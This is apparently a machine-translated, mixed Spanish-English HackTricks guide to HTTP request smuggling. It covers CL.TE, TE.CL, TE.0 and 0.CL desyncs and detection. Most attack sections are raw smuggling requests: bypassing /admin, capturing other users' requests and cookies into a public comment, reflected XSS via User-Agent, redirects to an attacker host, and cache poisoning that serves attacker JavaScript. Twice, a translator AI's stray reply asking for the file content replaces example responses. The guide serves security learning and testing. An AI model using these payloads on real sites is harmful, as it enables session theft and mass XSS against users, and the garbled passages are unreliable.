46 KiB
HTTP Request Smuggling / HTTP Desync Attack
{{#include ../../banners/hacktricks-training.md}}
¿Qué es
Esta vulnerabilidad ocurre cuando una desincronización entre front-end proxies y el back-end server permite a un attacker enviar una HTTP request que será interpretada como una single request por los front-end proxies (load balance/reverse-proxy) y as 2 request por el back-end server.
Esto permite a un usuario modificar la siguiente request que llega al back-end server tras la suya.
Teoría
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Realidad
El Front-End (un load-balance / Reverse Proxy) procesa el header Content-Length o el header Transfer-Encoding y el Back-end server procesa el otro, provocando una desincronización entre los 2 sistemas.
Esto puede ser muy crítico ya que un attacker podrá enviar una request al reverse proxy que será interpretada por el back-end server como 2 requests diferentes. El peligro de esta técnica reside en que el back-end server interpretará la segunda request inyectada como si viniera del siguiente cliente y la request real de ese cliente será parte de la request inyectada.
Particularidades
Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:
- Content-Length: Este header usa un número decimal para indicar el número de bytes del body de la request. Se espera que el body termine en el último carácter; no es necesaria una nueva línea al final de la request.
- Transfer-Encoding: Este header usa en el body un número hexadecimal para indicar el número de bytes del siguiente chunk. El chunk debe terminar con una nueva línea pero esta nueva línea no se cuenta en el indicador de longitud. Este método de transferencia debe terminar con un chunk de tamaño 0 seguido de 2 nuevas líneas:
0
- Connection: Según mi experiencia se recomienda usar
Connection: keep-alive
en la primera request del Request Smuggling.
Visible - Hidden
El principal problema con HTTP/1.1 es que todas las requests viajan por el mismo socket TCP, así que si se encuentra una discrepancia entre 2 sistemas que reciben requests es posible enviar una request que será tratada como 2 requests diferentes (o más) por el backend final (o incluso por sistemas intermedios).
This blog post propone nuevas formas de detectar ataques de desync a un sistema que no serán detectados por WAFs. Para ello presenta los comportamientos Visible vs Hidden. El objetivo en este caso es intentar encontrar discrepancias en la respuesta usando técnicas que podrían causar desyncs sin explotarlo realmente.
Por ejemplo, enviar una request con el header normal Host y un header " host", si el backend se queja de esta request (tal vez porque el valor de " host" es incorrecto) puede significar que el front-end no tuvo en cuenta el header " host" mientras que el backend final sí lo usó, lo que indica altamente probable una desincronización entre front-end y backend.
Esto sería una discrepancia Hidden-Visible.
Si el front-end hubiera tenido en cuenta el header " host" pero el back-end no, esto podría haber sido una situación Visible-Hidden.
Por ejemplo, esto permitió descubrir desyncs entre AWS ALB como front-end e IIS como backend. Esto fue porque cuando se envió "Host: foo/bar" el ALB devolvió 400, Server; awselb/2.0
, pero cuando se envió "Host : foo/bar" devolvió 400, Server: Microsoft-HTTPAPI/2.0
, indicando que el backend estaba enviando la respuesta. Esta es una situación Hidden-Visible (H-V).
Nota que esta situación no está corregida en AWS, pero puede prevenirse configurando routing.http.drop_invalid_header_fields.enabled
y routing.http.desync_mitigation_mode = strictest
.
Basic Examples
Tip
When trying to exploit this with Burp Suite disable
Update Content-Length
andNormalize HTTP/1 line endings
in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length
(CL) and Transfer-Encoding
(TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
Basic Examples of Vulnerability Types
Tip
To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Processes the request based on the
Content-Length
header. -
Back-End (TE): Processes the request based on the
Transfer-Encoding
header. -
Attack Scenario:
-
The attacker sends a request where the
Content-Length
header's value does not match the actual content length. -
The front-end server forwards the entire request to the back-end, based on the
Content-Length
value. -
The back-end server processes the request as chunked due to the
Transfer-Encoding: chunked
header, interpreting the remaining data as a separate, subsequent request. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Processes the request based on the
Transfer-Encoding
header. -
Back-End (CL): Processes the request based on the
Content-Length
header. -
Attack Scenario:
-
The attacker sends a chunked request where the chunk size (
7b
) and actual content length (Content-Length: 4
) do not align. -
The front-end server, honoring
Transfer-Encoding
, forwards the entire request to the back-end. -
The back-end server, respecting
Content-Length
, processes only the initial part of the request (7b
bytes), leaving the rest as part of an unintended subsequent request. -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: Both support
Transfer-Encoding
, but one can be tricked into ignoring it via obfuscation. -
Attack Scenario:
-
The attacker sends a request with obfuscated
Transfer-Encoding
headers. -
Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
-
The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Both servers process the request based solely on the
Content-Length
header. - This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Refers to scenarios where the
Content-Length
header is present and has a value other than zero, indicating that the request body has content. The back-end ignores theContent-Length
header (which is treated as 0), but the front-end parses it. - It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Like the previous one but using TE
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL
Escenario
En una situación 0.CL
se envía una request con un Content-Length como:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
Y el front-end no tiene en cuenta el Content-Length
, así que solo envía la primera request al backend (hasta el 7 en el ejemplo). Sin embargo, el backend ve el Content-Length
y espera un body que nunca llega porque el front-end ya está esperando la response.
Sin embargo, si existe una request que sea posible enviar al backend y que sea respondida antes de recibir el body de la request, este deadlock no ocurrirá. En IIS, por ejemplo, esto sucede al enviar requests a palabras reservadas como /con
(check the documentation), de este modo la request inicial será respondida directamente y la segunda request contendrá la request de la víctima como:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
Esto es útil para provocar un desync, pero hasta ahora no ha tenido ningún impacto.
Sin embargo, el post ofrece una solución para esto convirtiendo un 0.CL attack into a CL.0 with a double desync.
Romper el servidor web
Esta técnica también es útil en escenarios donde es posible romper un servidor web mientras se leen los datos HTTP iniciales pero sin cerrar la conexión. De esta forma, el cuerpo de la solicitud HTTP será considerado la siguiente solicitud HTTP.
Por ejemplo, como se explica en this writeup, En Werkzeug era posible enviar algunos Unicode caracteres y eso haría que el servidor se rompiera. Sin embargo, si la conexión HTTP se creó con la cabecera Connection: keep-alive
, el cuerpo de la solicitud no se leerá y la conexión permanecerá abierta, por lo que el cuerpo de la solicitud será tratado como la siguiente solicitud HTTP.
Forzar mediante hop-by-hop headers
Abusando de hop-by-hop headers, podrías indicar al proxy que elimine la cabecera Content-Length o Transfer-Encoding para que sea posible abusar de HTTP request smuggling.
Connection: Content-Length
Para más información sobre hop-by-hop headers visita:
{{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}}
Detección de HTTP Request Smuggling
Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:
Detección de vulnerabilidades CL.TE usando técnicas de temporización
-
Método:
-
Envía una petición que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
-
Ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observación:
-
El servidor front-end procesa la petición basado en
Content-Length
y corta el mensaje prematuramente. -
El servidor back-end, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.
-
Indicadores:
-
Timeouts o largos retrasos en la respuesta.
-
Recibir un error 400 Bad Request del servidor back-end, a veces con información detallada del servidor.
Detección de vulnerabilidades TE.CL usando técnicas de temporización
-
Método:
-
Envía una petición que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
-
Ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observación:
- El servidor front-end procesa la petición basado en
Transfer-Encoding
y reenvía todo el mensaje. - El servidor back-end, esperando un mensaje basado en
Content-Length
, espera datos adicionales que nunca llegan, provocando un retraso.
Otros métodos para encontrar vulnerabilidades
- Análisis de respuesta diferencial:
- Envía versiones ligeramente variadas de una petición y observa si las respuestas del servidor difieren de forma inesperada, lo que indicaría una discrepancia de parsing.
- Uso de herramientas automatizadas:
- Herramientas como la extensión 'HTTP Request Smuggler' de Burp Suite pueden probar automáticamente estas vulnerabilidades enviando varias formas de peticiones ambiguas y analizando las respuestas.
- Pruebas de variación de Content-Length:
- Envía peticiones con valores
Content-Length
variables que no coinciden con la longitud real del contenido y observa cómo el servidor maneja esos desajustes. - Pruebas de variación de Transfer-Encoding:
- Envía peticiones con encabezados
Transfer-Encoding
ofuscados o malformados y monitorea cómo responden de forma diferente el front-end y el back-end a tales manipulaciones.
El encabezado Expect: 100-continue
Comprueba cómo este encabezado puede ayudar a explotar un http desync en:
{{#ref}} ../special-http-headers.md {{#endref}}
Pruebas de vulnerabilidad de HTTP Request Smuggling
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to /
yield a 404 response. The CL.TE
and TE.CL
examples previously discussed in Basic Examples demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
Consideraciones clave
Al probar vulnerabilidades de request smuggling interfiriendo con otras peticiones, ten en cuenta:
- Conexiones de red distintas: Las peticiones "attack" y "normal" deben enviarse por conexiones de red separadas. Usar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
- URL y parámetros consistentes: Intenta usar URLs idénticas y nombres de parámetros para ambas peticiones. Las aplicaciones modernas suelen enrutar peticiones a servidores back-end específicos según la URL y los parámetros. Hacerlos coincidir aumenta la probabilidad de que ambas peticiones sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
- Sincronización y condiciones de carrera: La petición "normal", destinada a detectar interferencia de la petición "attack", compite con otras peticiones concurrentes de la aplicación. Por lo tanto, envía la petición "normal" inmediatamente después de la petición "attack". Aplicaciones con alta carga pueden requerir múltiples intentos para confirmar la vulnerabilidad.
- Desafíos de balanceo de carga: Los front-end que actúan como balanceadores de carga pueden distribuir peticiones entre varios sistemas back-end. Si las peticiones "attack" y "normal" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
- Impacto no intencionado en usuarios: Si tu ataque afecta inadvertidamente la petición de otro usuario (no la petición "normal" que enviaste para detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, por lo que se requiere un enfoque cauto.
Distinguir artefactos de pipelining de HTTP/1.1 vs request smuggling genuino
La reutilización de conexiones (keep-alive) y el pipelining pueden producir fácilmente ilusiones de "smuggling" en herramientas de prueba que envían múltiples peticiones por el mismo socket. Aprende a separar artefactos inocuos del lado del cliente de una desincronización real del lado del servidor.
Por qué el pipelining crea falsos positivos clásicos
HTTP/1.1 reutiliza una única conexión TCP/TLS y concatena peticiones y respuestas en el mismo stream. En el pipelining, el cliente envía múltiples peticiones una tras otra y depende de respuestas en orden. Un falso positivo común es reenviar una carga útil malformada al estilo CL.0 dos veces en una sola conexión:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
No has pegado el contenido del archivo. Por favor pega aquí el contenido de src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca y lo convertiré al español respetando todas las reglas (no traduciré código, nombres técnicos, enlaces, rutas ni las etiquetas/refs indicadas). ¿Quieres que traduzca el archivo completo o solo secciones específicas?
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Si el servidor ignoró el Content_Length
malformado, no hay desync FE↔BE. Con reuse, tu cliente en realidad envió este byte-stream, que el servidor analizó como dos requests independientes:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impacto: ninguno. Acabas de desincronizar tu cliente del framing del servidor.
Tip
Módulos de Burp que dependen de reuse/pipelining: Turbo Intruder con
requestsPerConnection>1
, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".
Pruebas litmus: pipelining o desincronización real?
- Desactiva el reuse y vuelve a probar
- En Burp Intruder/Repeater, apaga HTTP/1 reuse y evita "Send group in sequence".
- En Turbo Intruder, establece
requestsPerConnection=1
ypipeline=False
. - Si el comportamiento desaparece, probablemente fue pipelining del cliente, a menos que estés tratando con targets con connection-locked/stateful o desync del lado del cliente.
- Comprobación de nested-response en HTTP/2
- Envía una petición HTTP/2. Si el cuerpo de la respuesta contiene una respuesta HTTP/1 completa anidada, has demostrado un bug de parsing/desync en el backend en lugar de un artefacto puramente del cliente.
- Sondeo con partial-requests para front-ends connection-locked
- Algunos FEs sólo reusan la conexión upstream al BE si el cliente reutilizó la suya. Usa partial-requests para detectar comportamiento del FE que refleja el reuse del cliente.
- Véase PortSwigger "Browser‑Powered Desync Attacks" para la técnica connection-locked.
- Sondeos de estado
- Busca diferencias entre la primera petición y las subsiguientes en la misma conexión TCP (first-request routing/validation).
- Burp "HTTP Request Smuggler" incluye un connection‑state probe que automatiza esto.
- Visualiza el wire
- Usa la extensión Burp "HTTP Hacker" para inspeccionar concatenación y framing de mensajes directamente mientras experimentas con reuse y partial requests.
Connection‑locked request smuggling (reuse-required)
Algunos front-ends sólo reusan la conexión upstream cuando el cliente reusa la suya. Existe smuggling real pero es condicional al reuse del lado del cliente. Para distinguir y probar el impacto:
- Prueba el bug del lado servidor
- Usa la comprobación HTTP/2 nested-response, o
- Usa partial-requests para mostrar que el FE sólo reusa upstream cuando el cliente lo hace.
- Muestra impacto real incluso si el abuso directo de sockets entre usuarios está bloqueado:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce con reuse controlado (Turbo Intruder
requestsPerConnection=2
, o Burp Repeater tab group → "Send group in sequence (single connection)"). - Luego encadena hacia primitives de cache/header-leak/control-bypass y demuestra impacto entre usuarios o sobre autorización.
Véase también connection‑state attacks, que están estrechamente relacionados pero no son técnicamente smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Restricciones de desincronización del lado del cliente
Si apuntas a browser-powered/client-side desync, la petición maliciosa debe poder ser enviada por un navegador cross-origin. Los trucos de obfuscación de headers no funcionarán. Enfócate en primitives accesibles vía navigation/fetch, y luego pivota a cache poisoning, header disclosure, o bypass de controles del front-end cuando componentes downstream reflejen o almacenen en caché las respuestas.
Para contexto y flujos end-to-end:
{{#ref}} browser-http-request-smuggling.md {{#endref}}
Herramientas para ayudar a decidir
- HTTP Hacker (Burp BApp Store): expone comportamiento HTTP de bajo nivel y concatenación de sockets.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: control preciso sobre connection reuse vía
requestsPerConnection
. - Burp HTTP Request Smuggler: incluye un connection‑state probe para detectar first‑request routing/validation.
Note
Trata los efectos que dependen sólo de reuse como no problemáticos a menos que puedas demostrar un desync del lado servidor y adjuntar impacto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
A veces, los proxies front-end imponen medidas de seguridad, escrutando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo acceso no autorizado a endpoints restringidos. Por ejemplo, el acceso a /admin
puede estar prohibido externamente, con el proxy front-end bloqueando activamente tales intentos. No obstante, este proxy puede no inspeccionar las solicitudes embebidas dentro de una petición HTTP smuggled, dejando una brecha para bypass de estas restricciones.
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede usarse para eludir controles de seguridad del front-end, apuntando específicamente al path /admin
que típicamente está protegido por el proxy front-end:
Ejemplo CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
En el CL.TE attack, el header Content-Length
se aprovecha para la request inicial, mientras que la request incrustada posterior utiliza el header Transfer-Encoding: chunked
. El front-end proxy procesa la POST
request inicial pero no inspecciona la request incrustada GET /admin
, permitiendo acceso no autorizado a la ruta /admin
.
TE.CL Ejemplo
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Por el contrario, en el ataque TE.CL, la solicitud inicial POST
utiliza Transfer-Encoding: chunked
, y la solicitud incrustada posterior se procesa según la cabecera Content-Length
. Al igual que en el ataque CL.TE, el proxy front-end pasa por alto la solicitud smuggled GET /admin
, concediendo inadvertidamente acceso a la ruta restringida /admin
.
Revelando la reescritura de solicitudes del front-end
Las aplicaciones a menudo emplean un servidor front-end para modificar las solicitudes entrantes antes de pasarlas al servidor back-end. Una modificación típica consiste en añadir cabeceras, como X-Forwarded-For: <IP of the client>
, para reenviar la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar maneras de bypass protections o uncover concealed information or endpoints.
Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleje en la respuesta. Luego, crea una solicitud, usando este parámetro al final, similar a la siguiente:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
En esta estructura, los componentes de la solicitud subsecuente se agregan después de search=
, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud subsecuente.
Es importante alinear el encabezado Content-Length
de la solicitud anidada con la longitud real del contenido. Es recomendable empezar con un valor pequeño e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede provocar que la solicitud falle.
Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debe terminar con search=\r\n0
. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.
Este método sirve principalmente para entender las modificaciones de la solicitud realizadas por el proxy front-end, esencialmente realizando una investigación autodirigida.
Capturando las solicitudes de otros usuarios
Es factible capturar las solicitudes del siguiente usuario anexando una solicitud específica como valor de un parámetro durante una operación POST. He aquí cómo puede lograrse esto:
Al anexar la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsecuente:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
En este escenario, el parámetro comment está destinado a almacenar el contenido de la sección de comentarios de una publicación en una página accesible públicamente. En consecuencia, el contenido de la solicitud subsecuente aparecerá como un comentario.
Sin embargo, esta técnica tiene limitaciones. Generalmente captura datos solo hasta el delimitador de parámetros usado en la solicitud smuggled. Para envíos de formularios codificados en URL, este delimitador es el carácter &
. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer &
, que incluso puede formar parte de la query string.
Además, cabe señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En esos casos, la solicitud debe finalizar con search=\r\n0
. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.
Usando HTTP request smuggling para explotar Reflected XSS
HTTP Request Smuggling puede aprovecharse para explotar páginas web vulnerables a Reflected XSS, ofreciendo ventajas importantes:
- La interacción con los usuarios objetivo no es necesaria.
- Permite explotar XSS en partes de la solicitud que son normalmente inaccesibles, como las cabeceras de la solicitud HTTP.
En escenarios donde un sitio web es susceptible a Reflected XSS a través de la cabecera User-Agent, el siguiente payload demuestra cómo explotar esta vulnerabilidad:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
This payload is structured to exploit the vulnerability by:
- Iniciando una
POST
request, aparentemente típica, con unTransfer-Encoding: chunked
header para indicar el inicio del smuggling. - Seguida de un
0
, marcando el final del chunked message body. - Luego, se introduce una
GET
request smuggled, donde elUser-Agent
header es inyectado con un script,<script>alert(1)</script>
, desencadenando el XSS cuando el servidor procesa esta request subsecuente.
Al manipular el User-Agent
mediante smuggling, el payload evita las restricciones normales de la request, explotando así la vulnerabilidad Reflected XSS de una manera no estándar pero efectiva.
HTTP/0.9
Caution
En caso de que el contenido del usuario se refleje en una respuesta con un
Content-type
comotext/plain
, previniendo la ejecución del XSS. ¡Si el servidor soporta HTTP/0.9 podría ser posible eludir esto!
La versión HTTP/0.9 precede a la 1.0 y solo usa verbos GET y no responde con headers, solo el body.
En this writeup, esto fue abusado con un request smuggling y un vulnerable endpoint que responderá con la entrada del usuario para smugglear una request con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una fake HTTP/1.1 response (with headers and body), por lo que la respuesta contendrá código JS ejecutable válido con un Content-Type
de text/html
.
Exploiting On-site Redirects with HTTP Request Smuggling
Las aplicaciones a menudo redirigen de una URL a otra usando el hostname del Host
header en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final da lugar a una redirección para incluir la barra:
GET /home HTTP/1.1
Host: normal-website.com
Resulta en:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Aunque aparentemente inofensivo, este comportamiento puede ser manipulado usando HTTP request smuggling para redirigir a usuarios a un sitio externo. Por ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Esta smuggled request podría causar que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Resulta en:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
En este escenario, la petición de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en la respuesta.
Explotando Web Cache Poisoning a través de HTTP Request Smuggling
Web cache poisoning puede ejecutarse si cualquier componente de la infraestructura front-end almacena contenido en caché, típicamente para mejorar el rendimiento. Manipulando la respuesta del servidor, es posible envenenar la caché.
Anteriormente, observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (ver Basic Examples). De manera similar, es factible engañar al servidor para que entregue el contenido de /index.html
en respuesta a una petición por /static/include.js
. En consecuencia, el contenido de /static/include.js
queda reemplazado en la caché por el de /index.html
, dejando /static/include.js
inaccesible para los usuarios y pudiendo provocar un Denial of Service (DoS).
Esta técnica se vuelve particularmente potente si se descubre una Open Redirect vulnerability o si existe un on-site redirect to an open redirect. Tales vulnerabilidades pueden explotarse para reemplazar el contenido en caché de /static/include.js
por un script bajo el control del atacante, habilitando esencialmente un ataque generalizado de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el /static/include.js
actualizado.
A continuación se muestra una ilustración de la explotación de cache poisoning combined with an on-site redirect to open redirect. El objetivo es alterar el contenido en caché de /static/include.js
para servir código JavaScript controlado por el atacante:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Observe la solicitud embebida que apunta a /post/next?postId=3
. Esta solicitud será redirigida a /post?postId=4
, utilizando el Host header value para determinar el dominio. Al alterar el Host header, el atacante puede redirigir la solicitud a su dominio (on-site redirect to open redirect).
Después del exitoso socket poisoning, se debe iniciar una GET request para /static/include.js
. Esta solicitud será contaminada por la solicitud previa de on-site redirect to open redirect y obtendrá el contenido del script controlado por el atacante.
Posteriormente, cualquier solicitud a /static/include.js
servirá el contenido almacenado en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
Usando HTTP request smuggling para realizar web cache deception
¿Cuál es la diferencia entre web cache poisoning y web cache deception?
- En web cache poisoning, el atacante hace que la aplicación almacene contenido malicioso en la caché, y ese contenido se sirve desde la caché a otros usuarios de la aplicación.
- En web cache deception, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera ese contenido desde la caché.
El atacante crea una smuggled request que obtiene contenido sensible específico de un usuario. Considere el siguiente ejemplo:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Si esta smuggled request envenena una entrada de caché destinada a contenido estático (p. ej., /someimage.png
), los datos sensibles de la víctima de /private/messages
podrían almacenarse en caché bajo la entrada del contenido estático. En consecuencia, el atacante podría potencialmente recuperar esos datos sensibles en caché.
Abusar de TRACE mediante HTTP Request Smuggling
In this post se sugiere que si el servidor tiene el método TRACE habilitado podría ser posible abusar de él con HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier cabecera enviada al servidor como parte del cuerpo de la respuesta. Por ejemplo:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Por favor, pega aquí el contenido del archivo src/pentesting-web/http-request-smuggling/README.md (el markdown completo). Traduciré el texto relevante al español manteniendo exactamente la misma sintaxis markdown/HTML y sin traducir código, nombres técnicos, enlaces, rutas ni etiquetas.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Un ejemplo de cómo abusar de este comportamiento sería smuggle first a HEAD request. Esta request será respondida solo con los headers de una GET request (Content-Type
entre ellos). Y smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
Como la respuesta HEAD contendrá un header Content-Length
, la response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data en la respuesta.
Esta respuesta se enviará a la siguiente request sobre la conexión, por lo que esto podría used in a cached JS file for example to inject arbitrary JS code.
Abusing TRACE via HTTP Response Splitting
